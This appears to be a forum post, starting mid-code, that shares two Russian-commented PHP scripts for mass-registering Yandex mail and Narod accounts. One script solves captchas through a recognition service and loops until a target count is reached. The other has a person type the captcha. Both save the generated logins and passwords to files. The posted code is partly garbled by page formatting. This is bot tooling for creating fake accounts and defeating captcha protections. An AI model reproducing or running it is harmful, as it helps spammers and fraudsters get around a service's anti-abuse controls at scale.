    $is_verbose) echo "waiting for $rtimeout seconds\n";
                    
    sleep($rtimeout);
                }
                else
                {
                    
    $ex explode('|'$result);
                    if (
    trim($ex[0])=='OK') return trim($ex[1]);
                }
            }
     
            return 
    false;
        }
        }
     
        function 
    login()
         {
             
    $letters 'abcdefghijklmopkqrstuvwxyz';
             for (
    $p 0$p 20$p++)
               {
                 
    $login .= $letters{rand(0strlen($letters) - 1)};
               }
             return 
    $login;
          }       
     
     
        
    /* Пока не достигнем нужного количества e-mail/ftp, не заканчиваем регистрацию */
        
    for ($y 1$y <= $ammount$y++)
        {
        
    /* Генерируем Логин... */
        
    $login login();
     
           
    /* ...имя */
          
    $name rand(0,7777777);
     
          
    /* ...пароль */
          
    $password rand(0,7777777);
     
        
    /* Выходи из почты */
        
    post ('http://passport.yandex.ru/passport?mode=logout',null,'http://passport.yandex.ru/');
     
        
    /* Начинаем регистрацию */
        
    $result post('http://passport.yandex.ru/passport?mode=register','step=two&filled=yes&fresh=&iname='.$name.'&fname='.$name.'&login='.$login.'&done=%C4%E0%EB%FC%F8%E5%A0%26%238594%3B','http://passport.yandex.ru/passport?mode=register&msg=mail&retpath=http://mail.yandex.ru');
     
        
    /* Получаем значения */
        
    preg_match('#ncrnd=(.*?)"#i',$result,$ncrnd);
        
    preg_match('#idkey" value="(.*?)"#i',$result,$idkey);
        
    preg_match('#\?idkey=(.*?)"#i',$result,$captcha);
     
        
    /* Создаём картинку капчи */
        
    file_put_contents('captcha.jpg',file_get_contents('http://passport.yandex.ru/digits?idkey='.$captcha[1]));
     
        
    /* Распознаём её */
        
    $text=recognize(getcwd()."/captcha.jpg",$ac_key,false);
     
            
    /* Регистрируем E-mail... */    
        
    $result post('http://passport.yandex.ru/passport?mode=register&ncrnd='.$ncrnd[1],'idkey='.$idkey[1].'&step=two&filled=yes&login='.$login.'&fname='.$name.'&iname='.$name.'&time='.time().'&passwd='.$password.'&passwd2='.$password.'&hintq=1&udhintq=&hinta=OTVET&hintasave=OTVET&questnum=1&hintqsave=&email=&phonenumber=&code='.$text.'&agreed=yes''http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd']);
     
        
    /* ...и FTP */
        
    $ftp post('http://narod.yandex.ru/disk/narod/',null,'http://yandex.ru/');
     
            
    /* Проверяем всё ли прошло успешно */
            
    if(preg_match('#logout">(.*?)<#i',$result,$end))
            {
     
                  
    /* Сохраняем результаты */
              
    $fh fopen($email"a+");
              
    $success fwrite($fh$login.'@yandex.ru'.$divider.$password."\r\n");
              
    fclose($fh);
     
              
    $na fopen($narod"a+");
              
    $success fwrite($na$login.'.narod.ru'.$divider.$password."\r\n");
              
    fclose($na);
            }
        }
     
        
    /* geforse.name */
    ?>


    Полуавтоматический регистратор E-mail Яндекс


    [​IMG]
    PHP:
    <?php
    set_time_limit
    (0);
    //-----------------//
    $email 'yandex.txt';   // Файл с E-mail
    $divider ':';         // Разделитель
    //-----------------//
     
           
    function post($url,$post,$refer)
        {
           
    $ch curl_init($url);
           
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
           
    curl_setopt($chCURLOPT_POST1);
           
    curl_setopt($chCURLOPT_POSTFIELDS$post);
           
    curl_setopt($chCURLOPT_REFERER$refer);
           
    curl_setopt($chCURLOPT_COOKIEJAR"./cook");
           
    curl_setopt($chCURLOPT_COOKIEFILE"./cook");
           
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
           
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
           
    $result  curl_exec($ch);
           return 
    $result;
        }
     
           
    /* Генерируем Логин... */
        
    $letters 'abcdefghijklmopkqrstuvwxyz';
        for (
    $i 0$i 20$i++)
          {
            
    $login .= $letters{rand(0strlen($letters) - 1)};
          }
           
    /* ...имя */
          
    $name rand(0,7777777);
     
          
    /* ...пароль */
          
    $password rand(0,7777777);
     
          
    /* Если нам передали капчу */
        
    if($_POST['captcha'])
        {
             
    /* Отправляем данные*/
         
    $result post('http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd'],'idkey='.$_POST['idkey'].'&step=two&filled=yes&login='.$_POST['login'].'&fname='.$_POST['name'].'&iname='.$_POST['name'].'&time='.time().'&passwd='.$_POST['password'].'&passwd2='.$_POST['password'].'&hintq=1&udhintq=&hinta=OTVET&hintasave=OTVET&questnum=1&hintqsave=&email=&phonenumber=&code='.trim($_POST['captcha']).'&agreed=yes''http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd']);
     
                
    /* Проверка правильности ввода капчи */
              
    if (preg_match('#or">(.*?) н#i',$result,$bad_capt)) 
              {
               echo 
    '<script>alert(\'Не правильный код!\')</script>';
           }
           else
           {
                   
    /* Запись в файл */
              
    $fh fopen($email"a+");
              
    $success fwrite($fh$_POST['login'].'@yandex.ru'.$divider.$_POST['password']."\r\n");
              
    fclose($fh);
           }
           
    Header('Location: index.php');
        exit;
        }
        else
        {
        
    /* Если не передали капчу */
        /* Выходим из почты */
        
    post ('http://passport.yandex.ru/passport?mode=logout',null,'http://passport.yandex.ru/');
     
        
    /* Начинаем регистрацию */
        
    $result post('http://passport.yandex.ru/passport?mode=register','step=two&filled=yes&fresh=&iname='.$name.'&fname='.$name.'&login='.$login.'&done=%C4%E0%EB%FC%F8%E5%A0%26%238594%3B','http://passport.yandex.ru/passport?mode=register&msg=mail&retpath=http://mail.yandex.ru');
     
        
    /* Получаем значения */
        
    preg_match('#ncrnd=(.*?)"#i',$result,$ncrnd);
        
    preg_match('#idkey" value="(.*?)"#i',$result,$idkey);
        
    preg_match('#\?idkey=(.*?)"#i',$result,$captcha);
     
        
    /* Выводим форму для ввода капчи (в hidden передаём необходимые значения) */
        
    echo '<img class="captcha-img" name="captcha" src="http://passport.yandex.ru/digits?idkey='.$captcha[1].'" alt=""><br>
              <form name="captcha_form" action="index.php" method="POST">
              <input type="text" name="captcha" value="" /><br>
              <input type="hidden" name="ncrnd" value="'
    .$ncrnd[1].'" />
              <input type="hidden" name="idkey" value="'
    .$idkey[1].'" />
              <input type="hidden" name="name" value="'
    .$name.'" />
              <input type="hidden" name="login" value="'
    .$login.'" />
              <input type="hidden" name="password" value="'
    .$password.'" />
                 <input type="submit" value="ok">
               </form>'

        }
              
    /* Выводим результат */
             
    if (file_exists($email))
                {
                
    $quantity_email count(file($email));    
                    echo 
    'В базе <b>'.$quantity_email.'</b> E-mail';
             }
        
    /* geforse.name */
    ?>
    /* geforse.name */
     
    1 person likes this.